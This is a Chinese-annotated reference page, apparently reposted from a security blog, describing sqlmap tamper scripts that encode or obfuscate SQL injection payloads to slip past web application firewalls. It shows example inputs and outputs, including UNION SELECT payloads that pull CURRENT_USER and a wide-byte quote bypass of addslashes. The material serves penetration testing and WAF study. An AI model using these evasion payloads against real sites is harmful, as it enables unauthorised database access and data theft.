space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’
Example:
* Input: SELECT id FROM users
* Output: SELECT/**/id/**/FROM/**/users
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
——————————————————————————-
charencode.py
url编码
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak web application firewalls that do not
url-decode the request before processing it through their ruleset
* The web server will anyway pass the url-decoded version behind,
hence it should work against any DBMS
—————————————————————————————
charunicodeencode.py
字符串 unicode 编码
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
Notes:
* Useful to bypass weak web application firewalls that do not
unicode url-decode the request before processing it through their
ruleset
——————————————————
space2hash.py
空格替换为#号 随机字符串 以及换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
———————————————–
space2morehash.py
空格替换为 #号 以及更多随机字符串 换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
——————————————
space2mssqlblank.py(mssql)
空格替换为其它空符号
Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
# ASCII table:
#   SOH     01      start of heading
#   STX     02      start of text
#   ETX     03      end of text
#   EOT     04      end of transmission
#   ENQ     05      enquiry
#   ACK     06      acknowledge
#   BEL     07      bell
#   BS      08      backspace
#   TAB     09      horizontal tab
#   LF      0A      new line
#   VT      0B      vertical TAB
#   FF      0C      new page
#   CR      0D      carriage return
#   SO      0E      shift out
#   SI      0F      shift in
————————————————-
space2mysqlblank.py
空格替换其它空白符号(mysql)
Replaces space character (‘ ‘) with a random blank character from a
valid set of alternate characters
Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
Requirement:
* MySQL
Tested against:
* MySQL 5.1
#   TAB     09      horizontal TAB
#   LF      0A      new line
#   FF      0C      new page
#   CR      0D      carriage return
#   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
#   –       A0      -                   (MySQL only)
———————————————————————————-
chardoubleencode.py 双url编码(不处理以编码的)
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
———————————————————————————
percentage.py
asp允许每个字符前面添加一个%号
Adds a percentage sign (‘%’) infront of each character
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
————————————————————
randomcase.py 随机大小写
Replaces each keyword character with random case value
Example:
* Input: INSERT
* Output: InsERt
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
—————————————————
randomcomments.py
用/**/分割sql关键字
Add random comments to SQL keywords
Example: ‘INSERT’ becomes ‘IN/**/S/**/ERT’
————————————————————-
versionedmorekeywords.py 注释绕过
Encloses each keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
————————————————————————
versionedkeywords.py
Encloses each non-function keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
———————————————————————-
unmagicquotes.py 宽字符绕过 GPC  addslashes
Replaces quote character (‘) with a multi-byte combo %bf%27 together with
generic comment at the end (to make it work)
Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
Notes:
* Useful for bypassing magic_quotes/addslashes feature
——————————————————————————–
equaltolike.py
like 代替等号
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
—————————————————————————-
关键字前加注释
halfversionedmorekeywords.py
Example:
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
原文地址：http://www.myhack58.com/Article/html/3/7/2013/39321.htm

sqlmap的篡改绕过WAF的更多相关文章

  1. 使用sqlmap中的tamper脚本绕过waf

    使用sqlmap中tamper脚本绕过waf 脚本名:0x2char.py 作用:用UTF-8全角对应字符替换撇号字符 作用:用等价的CONCAT(CHAR(),...)对应替换每个(MySQL)0x ...

  2. 使用sqlmap中tamper脚本绕过waf

    使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap- ...

  3. 如何使用SQLMAP绕过WAF

    WAF(web应用防火墙)逐渐成为安全解决方案的标配之一.正因为有了它,许多公司甚至已经不在意web应用的漏洞.遗憾的是,并不是所有的waf都是不可绕过的!本文将向大家讲述,如何使用注入神器SQLMa ...

  4. sqlmap注入之tamper绕过WAF脚本列表

    本文作者:i春秋作者——玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrop ...

  5. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  6. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  7. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  8. 一些绕过waf的笔记

    转自:http://fuck.0day5.com/archives/622.html 一.各种编码绕过1. ? 1 2 ?id=1 union select pass from admin limit ...

  9. 如何绕过WAF

    目录 HTTP报文包体的解析 Transfer-Encoding Charset 溢量数据 HTTP协议兼容性 HTTP请求行种的空格 HTTP 0.9+Pipelining Websocket.HT ...

随机推荐

  1. sublime text3 如何在多行前面快速插入序号

    sublime text3 如何在多行前面快速插入序号 1.需要安装InsertNums插件 首选项 -> Package Control -> Install Package -> ...

  2. mysql函数积累

    group_concat(),手册上说明:该函数返回带有来自一个组的连接的非NULL值的字符串结果.比较抽象,难以理解. 通俗点理解,其实是这样的:group_concat()会计算哪些行属于同一组, ...

  3. 用Redis Desktop Manager连接Redis(CentOS)

    Redis Desktop Manager是Redis图形化管理工具,方便管理人员更方便直观地管理Redis数据. 然而在使用Redis Desktop Manager之前,有几个要素需要注意: 一. ...

  4. Python 函数系列- Str

    Str函数的一些有趣的用法 str = '1234567890' print(str[:]) #取全部字符串 print(str[2]) #取下标是2的字符 -- 3 print(str[:3]) # ...

  5. 【最短路径】 SPFA算法优化

    首先先明确一个问题,SPFA是什么?(不会看什么看,一边学去,传送门),SPFA是bellman-ford的队列优化版本,只有在国内才流行SPFA这个名字,大多数人就只知道SPFA就是一个顶尖的高效算 ...

  6. 搭建samba 共享openstack开发环境

    centos7.2 openstack环境为allinone 模式,这样跑代码好处理 安装smb [root@controller ~]# yum install -y samba samba-cli ...

  7. HDU 1698 Just a Hook （线段树）

    Problem Description In the game of DotA, Pudge’s meat hook is actually the most horrible thing for m ...

  8. 【51Nod 1756】【算法马拉松 23】谷歌的恐龙

    http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1765 设答案为\(X\). 则\[X=\frac{m}{n}\times ...

  9. bzoj 1029 贪心

    贪心的一种,维护一种尽可能优的状态(即不会比最优解差),将这种状态保持到最后. /*********************************************************** ...

  10. 【R笔记】R语言函数总结

    R语言与数据挖掘:公式:数据:方法 R语言特征 对大小写敏感 通常,数字,字母,. 和 _都是允许的(在一些国家还包括重音字母).不过,一个命名必须以 . 或者字母开头,并且如果以 . 开头,第二个字 ...